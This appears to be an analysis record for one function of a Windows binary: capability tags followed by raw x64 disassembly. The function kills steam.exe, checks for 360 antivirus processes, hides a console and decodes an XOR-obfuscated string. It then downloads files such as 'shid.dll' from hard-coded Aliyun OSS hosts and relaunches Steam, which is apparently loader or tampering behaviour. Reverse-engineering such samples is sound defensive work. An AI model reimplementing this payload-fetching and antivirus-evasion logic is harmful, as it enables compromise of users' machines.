Function at 0x140004750
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x14024a7f8]
xor rax, rsp
mov qword [rbp + 0x490], rax
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
lea rdx, str.http:__hz_config.oss_accelerate.aliyuncs.com
mov rdi, 0xffffffffffffffff
add rax, 0x18
mov qword [rbp + 0x260], rax
cmp rdx, 0x10000
jae 0x1400047d3
movzx edx, dx
lea rcx, [rbp + 0x260]
call fcn.1400062b0
jmp 0x1400047f7
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400047e0
lea rcx, [rbp + 0x260]
call fcn.1400075d0
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str.http:__hz_config.oss_cn_hangzhou.aliyuncs.com
mov qword [rbp + 0x268], rax
cmp rdx, 0x10000
jae 0x14000483a
movzx edx, dx
lea rcx, [rbp + 0x268]
call fcn.1400062b0
jmp 0x140004857
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004840
lea rcx, [rbp + 0x268]
call fcn.1400075d0
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str.http:__hz_config.oss_accelerate_overseas.aliyuncs.com
mov qword [rbp + 0x270], rax
cmp rdx, 0x10000
jae 0x14000489a
movzx edx, dx
lea rcx, [rbp + 0x270]
call fcn.1400062b0
jmp 0x1400048b7
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400048a0
lea rcx, [rbp + 0x270]
call fcn.1400075d0
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str.steam.exe
mov qword [rbp - 0x50], rax
cmp rdx, 0x10000
jae 0x1400048f4
movzx edx, dx
lea rcx, [rbp - 0x50]
call fcn.1400062b0
jmp 0x140004914
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004900
lea rcx, [rbp - 0x50]
call fcn.1400075d0
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp]
mov dword [rbp], 0x238
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rbx, qword [rbp - 0x50]
mov r12d, 1
test eax, eax
je 0x1400049a0
nop dword [rax]
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x2c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000498f
mov r8d, dword [rbp + 8]
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000498f
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004950
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, r12d
jg 0x1400049c2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str._c_TASKKILL__F__IM__steam.exe_
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x240], rax
call fcn.140007840
mov r9, qword [rbp + 0x240]
lea r8, [0x140217f08]
xor r15d, r15d
lea rdx, [0x140217f10]
mov dword [rsp + 0x28], r15d
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x248]
mov qword [rbp + 0x248], r15
call fcn.140003140
lea rcx, [rbp + 0x258]
mov qword [rbp + 0x258], r15
call fcn.140003590
mov r8, qword [rbp + 0x248]
lea rdx, str._s_steam.exe
lea rcx, [rbp + 0x280]
call fcn.140007a10
mov rax, qword [rbp + 0x248]
cmp word [rax], r15w
je 0x140004f32
lea edx, [r15 + 2]
lea rcx, [rbp + 0x280]
call fcn.140190878
test eax, eax
jne 0x140004f32
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str.360Tray.exe
mov qword [rbp - 0x48], rax
cmp rdx, 0x10000
jae 0x140004ad2
movzx edx, dx
lea rcx, [rbp - 0x48]
call fcn.1400062b0
jmp 0x140004ae8
mov r8, rdi
inc r8
cmp word [rdx + r8*2], r15w
jne 0x140004ad5
lea rcx, [rbp - 0x48]
call fcn.1400075d0
lea rcx, [rbp - 0x48]
call fcn.140004360
test eax, eax
jne 0x140004fa9
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rdx, str.360sd.exe
mov qword [rbp - 0x40], rax
cmp rdx, 0x10000
jae 0x140004b36
movzx edx, dx
lea rcx, [rbp - 0x40]
call fcn.1400062b0
jmp 0x140004b53
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], r15w
jne 0x140004b40
lea rcx, [rbp - 0x40]
call fcn.1400075d0
lea rcx, [rbp - 0x40]
call fcn.140004360
test eax, eax
jne 0x140004fcd
lea rdx, [rbp + 0x258]
lea rcx, [rbp - 0x38]
call fcn.140006640
lea rdx, [rbp + 0x248]
mov rbx, rax
lea rcx, [rbp - 0x30]
call fcn.140006640
mov rcx, rax
mov rdx, rbx
call fcn.140004490
call fcn.1400092f8
test rax, rax
je 0x140004f9e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp + 0x250], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, 0x3a
mov edx, r15d
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], 0x72003f
mov dword [rsp + 0x38], 0x630032
mov dword [rsp + 0x3c], 0x62007b
mov dword [rsp + 0x40], 0x650073
mov dword [rsp + 0x44], 0x71006b
mov dword [rsp + 0x48], 0x77007f
mov dword [rsp + 0x4c], 0x3d0070
mov dword [rsp + 0x50], 0x7b005f
mov dword [rsp + 0x54], 0xc0044
mov dword [rsp + 0x58], 0x53006f
mov dword [rsp + 0x5c], 0x570074
mov dword [rsp + 0x60], 0x410043
mov dword [rsp + 0x64], 0x5b004d
mov dword [rsp + 0x68], 0x45004f
mov dword [rsp + 0x6c], 0x48004f
mov dword [rsp + 0x70], 0x2000e
mov dword [rsp + 0x74], 0x490075
mov dword [rsp + 0x78], 0x5f0051
mov dword [rsp + 0x7c], 0x460041
mov dword [rbp - 0x80], 0x58005f
mov dword [rbp - 0x7c], 0x690056
mov dword [rbp - 0x78], 0x4f005b
mov dword [rbp - 0x74], 0x1d0054
mov dword [rbp - 0x70], 0x1a001c
mov dword [rbp - 0x6c], 0x1d0033
mov dword [rbp - 0x68], 0x2a002a
mov dword [rbp - 0x64], 0x6b0020
mov dword [rbp - 0x60], 0x2b0022
mov dword [rbp - 0x5c], 0x6b0024
mov dword [rbp - 0x58], 0x4a
test eax, eax
je 0x140004cdb
mov eax, edx
lea rcx, [rsp + 0x34]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x10]
inc edx
xor word [rcx], ax
mov eax, dword [rsp + 0x30]
cmp edx, eax
jb 0x140004cc0
mov word [rsp + rax*2 + 0x34], r15w
lea rdx, [rsp + 0x34]
mov r8, qword [rbp + 0x248]
lea rcx, [rbp + 0x280]
call fcn.140007a10
lea r9, [rbp + 0x280]
mov dword [rsp + 0x28], r15d
lea r8, [0x140217f60]
mov qword [rsp + 0x20], r15
lea rdx, [0x140217f68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rsi, r15
lea r14, [rbp + 0x260]
nop word [rax + rax]
mov r8, qword [r14]
lea rdx, str._s_dwf_H
lea rcx, [rbp + 0x250]
call fcn.140007840
mov r8, qword [rbp + 0x248]
lea rdx, str._shid.dll
lea rcx, [rbp + 0x240]
call fcn.140007840
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x28]
call fcn.140006640
lea rdx, [rbp + 0x250]
mov rbx, rax
lea rcx, [rbp - 0x20]
call fcn.140006640
mov rcx, rax
mov rdx, rbx
call fcn.140003ca0
test al, al
jne 0x140004da5
inc rsi
add r14, 8
cmp rsi, 3
jae 0x140004f56
jmp 0x140004d30
mov rsi, r15
lea r14, [rbp + 0x260]
nop
mov r8, qword [r14]
lea rdx, str._s_dwf_hid
lea rcx, [rbp + 0x250]
call fcn.140007840
mov r8, qword [rbp + 0x258]
lea rdx, str._s_steamActivehid
lea rcx, [rbp + 0x240]
call fcn.140007840
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x18]
call fcn.140006640
lea rdx, [rbp + 0x250]
mov rbx, rax
lea rcx, [rbp - 0x10]
call fcn.140006640
mov rcx, rax
mov rdx, rbx
call fcn.140003ca0
test al, al
jne 0x140004e25
inc rsi
add r14, 8
cmp rsi, 3
jae 0x140004f7a
jmp 0x140004db0
mov r8, qword [rbp + 0x248]
lea rdx, str._c_Start_steam:__
lea rcx, [rbp + 0x240]
call fcn.140007840
mov r9, qword [rbp + 0x240]
lea r8, [0x140218070]
lea rdx, str.open
mov dword [rsp + 0x28], r15d
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x250]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
sub eax, r12d
jg 0x140004e86
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rbp + 0x258]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
sub eax, r12d
jg 0x140004ea6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rbp + 0x248]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
sub eax, r12d
jg 0x140004ec6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rbp + 0x240]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, r12d
jg 0x140004ee4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edx, 8
lea r9, [fcn.140006580]
lea rcx, [rbp + 0x260]
lea r8d, [rdx - 5]
call fcn.140188d80
xor eax, eax
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.140188d60
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r9d, 0x40
lea r8, [0x140217f40]
lea rdx, [0x140217f48]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call fcn.1401907f0
int3
mov r9d, 0x10
lea r8, [0x140217fa8]
lea rdx, [0x140217fb0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call fcn.1401907f0
int3
mov r9d, 0x10
lea r8, [0x140218018]
lea rdx, [0x140218020]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call fcn.1401907f0
int3
mov ecx, 0x80004005
call fcn.1400023a0
int3
mov r9d, 0x40
lea r8, [0x140217d18]
lea rdx, [0x140217d20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call fcn.1401907f0
int3
mov r9d, 0x40
lea r8, [0x140217d54]
lea rdx, [0x140217d58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call fcn.1401907f0
int3